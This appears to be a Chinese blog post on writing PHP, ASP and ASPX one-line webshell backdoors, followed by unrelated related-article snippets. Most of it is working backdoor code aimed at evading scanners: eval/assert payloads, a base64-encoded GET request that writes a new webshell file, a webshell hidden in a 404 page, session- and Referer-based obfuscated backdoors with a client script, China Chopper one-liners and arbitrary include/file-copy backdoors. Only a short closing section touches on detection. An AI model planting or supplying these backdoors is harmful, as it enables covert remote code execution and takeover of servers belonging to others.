php一句话怎么写_PHP一句话木马后门

在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马等等,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器。

一句话木马的原理很简单,造型也很简单,所以造成了它理解起来容易,抵御起来也容易。于是黑白的较量变成了黑帽不断的构造变形的后门,去隐蔽特征,而白帽则不断的更新过滤方法,建起更高的城墙。

一、原理简述

对于不同的语言有不同的构造方法。

基本构造:最开头构造的是脚本开始的标记

核心部分:获取并执行得到的内容,通常类似eval、execute等

被执行内容:一般是http等协议接受的值,通常类似request、$_POST等

如果我们通过客户端向服务器发送被执行内容,那么就会让服务器执行我们发送的脚本,挂马就实现了。

/*asp一句话木马*/

/*php一句话木马*/

/*aspx一句话木马*/

黑帽子的目的,就是想尽办法给目标网站插入这么一段会被储存起来的语句。可以是一个单独的脚本文件文件(.asp 、.php、.aspx ),或者是隐藏在某些网页下的文件、代码等。其中的value 就是客户端要发送的内容,然后通过客户端与服务器建立连接,发送控制脚本。也会涉及到一些任意文件上传漏洞等。

二、简单变形

很明显的 eval 可以成为一个静态特征码,webshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。于是可以简单变形不出现eval:

同理,传给a值为 @base64_decode(base64编码过后的eval)。

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

通过对GET请求的URL构造而形成利用,左括号和右括号是URL编码,解码回来如下:

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

PHP接收到GET请求后相当于执行一个assert函数,并把b作为assert的参数。b里面使用略php的base64解码函数,把部分信息通过base64编码而绕过扫描,解码后如下:

?a=assert&b=${fputs(fopen(c.php,w),<?php @eval($_POST[c]); ?>1)};

执行后当前目录生成c.php文件并写入一句话木马,这已经算是一个非常隐蔽的木马了。而在PHP 后门的变形之路上,远远不止这些,甚至可以自己定义一个加密解密的函数,或者是利用xor, 字符串翻转,压缩,截断重组等等方法来绕过。

三、变形改良

1.404页面隐藏木马

404 Not Found

Not Found

The requested URL was not found on this server.

@preg_replace("/[pageerror]/e",$_POST['error'],"saft");

header('HTTP/1.1 404 Not Found');

?>

一般404页面放好后,很少有人会定期对404页面进行检查和修改。如果在404页面挂上了一句话后门,一方面不会被发现,另一方面,黑帽子很容易能定位到并连接上服务器。

2.无特征隐藏PHP后门

利用session:

session_start();

$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);

$_SESSION['theCode'] && preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

利用$_SEESION变量来绕过扫描,将$_POST['code']赋值给$_SESSION['theCode'],然后eval执行SESSION的内容。

利用HTTP_REFERER:

利用请求中的HTTP_REFERER来运行经过base64编码的代码,达到后门的效果,使用两个文件。

//1.php

header('Content-type:text/html;charset=utf-8');

parse_str($_SERVER['HTTP_REFERER'], $a);

if(reset($a) == '10' && count($a) == 9) {

eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));

}

//2.php

header('Content-type:text/html;charset=utf-8');

//要执行的代码

$code = <<

phpinfo();

CODE;

//进行base64编码

$code = base64_encode($code);

//构造referer字符串

$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";

//后门url

$url = 'http://localhost/test1/1.php';

$ch = curl_init();

$options = [

CURLOPT_URL => $url,

CURLOPT_HEADER => FALSE,

CURLOPT_RETURNTRANSFER => TRUE,

CURLOPT_REFERER => $referer

];

curl_setopt_array($ch, $options);

echo curl_exec($ch);

访问2.php,会构造一个会话,进到后门1.php那里。然后在HTTP_REFERER 的内容也会传递给1.php,通过1.php 执行内容。一般来说,防火墙会对 referer字段宽松一些,就可造成绕过。

3.常见的后门

//菜刀一句话

$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";

$hh("/[discuz]/e",$_POST['h'],"Access");

//危险的include函数,直接编译任何文件为php格式运行

$filename=$_GET['xbid'];

include ($filename);

//重命名任何文件

$reg="c"."o"."p"."y";

$reg($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']);

//菜刀一句话

$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";

$gzid("/[discuz]/e",$_POST['h'],"Access");

//gif插一句话

//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif

include ($uid);

//典型一句话

//使用lanker一句话客户端的专家模式执行相关的php语句

$_POST['a']($_POST['b']);?>

$_POST['a']($_POST['b'],$_POST['c'])?>

//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入

h=@eval_r($_POST1);

//绕过<?限制的一句话

四、攻防

攻方:利用各种各样的绕过姿势,都是试图让扫描工具无效。

守方:分析各种各样的函数,寻找有效的特征码来防止后门。

黑帽子大牛:深入web框架内核,挖掘出代码缺陷,构造出复杂的后门利用。

安全审计人员:对那些通过GET,POST 获取的超全局变量,进行细致的追踪,构造合适的过滤器。

语义分析:对GET POST 等获取的值进行污染点追踪,以确保这些用户可控的值,不会未经过滤就得到了执行,或是进入数据库中。

针对超全局变量进行语义分析:

$_GET

$_POST

$_REQUEST

$_SERVER

$_FILES

$_COOKIE

$_SESSION

$_ENV

$GLOBALS

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/555845.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JSON书写格式

JSON是什么 JSON ( JavaScript Object Notation) &#xff0c;是一种数据交互格式。 为什么有这个技术 Json之前&#xff0c;大家都用 XML 传递数据。XML 是一种纯文本格式&#xff0c;所以适合在网络上交换数据&#xff0c;但是 XML 格式比较复杂&#xff0c;终于道格拉斯克…

php判断目录是否有写的权限,php中判断文件空目录是否有读写权限

/*问题出现&#xff1a;如何检查一个目录是否可写&#xff0c;如何目录下还有目录和文件&#xff0c;那么都要检查思路&#xff1a;(1)首先先写出检查空目录是否可写的算法&#xff1a;在该目录中生成一个文件&#xff0c;如果不能生成&#xff0c;表明该目录没有写的权限(2)使…

List.addAll方法的入参不能为null

缘由&#xff1a; ​ 某天&#xff0c;发现一段日志中出现了诡异的NPE。经过定位&#xff0c;认为是ArrayList不能加入null所致。 验证&#xff1a; ​ new一个ArrayList&#xff0c;然后调用其addAll方法&#xff0c;并将入参设为null。 public static void main(String[] …

php 微信转账,php实现微信公众号企业转账功能

企业付款提供由商户直接付钱至用户微信零钱的能力&#xff0c;支持平台操作及接口调用两种方式&#xff0c;资金到账速度快&#xff0c;使用及查询方便。主要用来解决合理的商户对用户付款需求&#xff0c;比如&#xff1a;保险理赔、彩票兑换等等。特点发起方式灵活&#xff0…

Java之HashMap.values()转List时的错误和正确操作

因为项目中需要获取到Map的值的集合&#xff0c;所以调用了HashMap.values()方法转成List&#xff0c;当时是使用了以下代码。&#xff08;逻辑上这样想应该没问题&#xff0c;但生活总是会是不是给你一点小“”惊喜“”&#xff09; List<AreaItemOpt> areaItemOpts (…

php检测表大小,查询mysql数据库、表的大小

一、关于mysql表数据大小mysql存储数据文件一般使用表空间存储 &#xff1b;当mysql使用innodb存储引擎的时候&#xff0c;mysql使用表存储数据分为共享表空间和独享表空间两种方式 。共享表空间&#xff1a;Innodb的所有数据保存在一个单独的表空间里面&#xff0c;而这个表空…

Java利用stream(流)对map中的values进行过滤、排序操作

前言 对于Java8中的stream(流)这种优雅、方便、快捷、高效的操作已经是信手沾来了吧&#xff0c;但是却仅限List、Set。难道我Map不要面子得嘛&#xff1f;在工作中需要对从List转Map的数据进行操作&#xff0c;因此便有这随笔。 新建一个User类&#xff0c;注意下面使用lombok…

cls certificate.php,php加密解密处理类

PHP加密解密也是常有的事&#xff0c;发现discuz论坛里的PHP加密解密处理类代码&#xff0c;感觉挺不错&#xff0c;在用的时候&#xff0c;要参考Discuz论坛的passport相关函数&#xff0c;后面我会附上使用方法。php加密解密处理类<?php /* 文件名称&#xff1a;cls.sys_…

【redis】java操作redis时,StringRedisTemplate的expire()方法的作用,什么时候使用

java操作redis时&#xff0c;StringRedisTemplate的expire()方法的作用&#xff0c;什么时候使用 //重新设置过期时间为30分钟&#xff0c;刷新时间 redisTemplate.expire(MsOpenApiRedisUtil.SESSION_KEY_IN_LOGIN_NAMEloginName,30,TimeUnit.MINUTES); redisTemplate.expire…

springboot使用redis(StringRedisTemplate的常用方法)

1. 先了解RedisTemplate和StringRedisTemplate之间的关系&#xff1a; RedisTemplate是Spring对于Redis的封装&#xff0c;而StringRedisTemplate继承RedisTemplate。两者的数据是不共通的&#xff1b;也就是说StringRedisTemplate只能管理StringRedisTemplate里面的数据&…

html提交表单给php邮件发送,在HTML表单中通过PHP自动发送电子邮件

我最终解决了我的问题吧一个细节。我的HTML帖子回答:Navn: Kontakt e-post: Kontakt telefon: Fest:LokalfestHjemmefestKommune: Deltagere: Rydding: Vasking: Dorvakt: Noe annet?: 我的PHP帖子回答:if(isset($_POST[mailform]))$email $_POST[Epost] ;$name $_POST[Navn…

Arrays.asList()和Collections.singletonList()比较

Collections.singletonList(something)是不可变的&#xff0c; 对Collections.singletonList(something)返回的列表所做的任何更改将导致UnsupportedOperationException。 Arrays.asList(something)允许Arrays.asList(something) 更改 。 此外&#xff0c;由Collections.sin…

php 邮件类库,[3.3]-扩展类库:基于PHPMailer的邮件发送 | PhalApi(π框架) - PHP轻量级开源接口框架 - 接口,从简单开始!...

3.3.1 扩展类库&#xff1a;基于PHPMailer的邮件发送此扩展可用于发送邮件。3.3.2 安装和配置从 PhalApi-Library 扩展库中下载获取 PHPMailer 包&#xff0c;如使用&#xff1a;$ git clone https://git.oschina.net/dogstar/PhalApi-Library.git然后把 PHPMailer 目录复制到 …

spring boot报FileSizeLimitExceededException异常的解决方法

开发spring boot程序时&#xff0c;遇到了如下错误&#xff1a; The field file exceeds its maximum permitted size of 1048576 bytes. 原因&#xff1a; Spring Boot工程嵌入的tomcat限制了请求的文件大小&#xff0c;官方文档中这样描述&#xff1a; Spring Boot embraces…

js表单提交 php,JavaScript提交表单的几种方法

在我们工作中我们会经常使用到form表单&#xff0c;相信大家再熟悉不过了&#xff0c;那么提交表单有很多种方法&#xff0c;JavaScript提交表单的方法又是如何呢&#xff0c;今天就带大家介绍下JavaScript提交表单的几种方法&#xff01;第一种方式&#xff1a;表单提交&#…

前后端分离中的权限管理思路

在传统的前后端不分的开发中&#xff0c;权限管理主要通过过滤器或者拦截器来进行&#xff08;权限管理框架本身也是通过过滤器来实现功能&#xff09;&#xff0c;如果用户不具备某一个角色或者某一个权限&#xff0c;则无法访问某一个页面。 但是在前后端分离中&#xff0c;…

陈顺志 php,芦芽山之情

芦芽山之情循着潺潺的水声&#xff0c;穿过颗颗红桦树&#xff0c;踩着红色的木板桥&#xff0c;听着山谷中传来的一声声清脆的鸟鸣&#xff0c;闻着扑鼻的在空气中酝酿着的雨露的清新&#xff0c;我们向芦芽山上走去。青山 白雾我们仿佛踏入了梦境的天地&#xff0c;山在雾中…

前、后端分离权限控制设计与实现

简述 近几年随着react、angular、vue等前端框架兴起&#xff0c;前后端分离的架构迅速流行。但同时权限控制也带来了问题。 网上很多前、后端分离权限仅仅都仅仅在描述前端权限控制、且是较简单、固定的角色场景&#xff0c;满足不了我们用户、角色都是动态的场景。且仅仅前端…

风云php,t.php · 风云酷小子/js - Gitee.com

$ch curl_init();curl_setopt($ch, CURLOPT_URL, "http://zx.rcpx.cc/els/html/courseStudyItem/courseStudyItem.updateTimestepByUserTimmer.do");curl_setopt($ch, CURLOPT_HEADER, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);// post数据curl_setopt($ch,…

前后端分离必备的接口规范,十分接地气

1. 前言 随着互联网的高速发展&#xff0c;前端页面的展示、交互体验越来越灵活、炫丽&#xff0c;响应体验也要求越来越高&#xff0c;后端服务的高并发、高可用、高性能、高扩展等特性的要求也愈加苛刻&#xff0c;从而导致前后端研发各自专注于自己擅长的领域深耕细作。 然…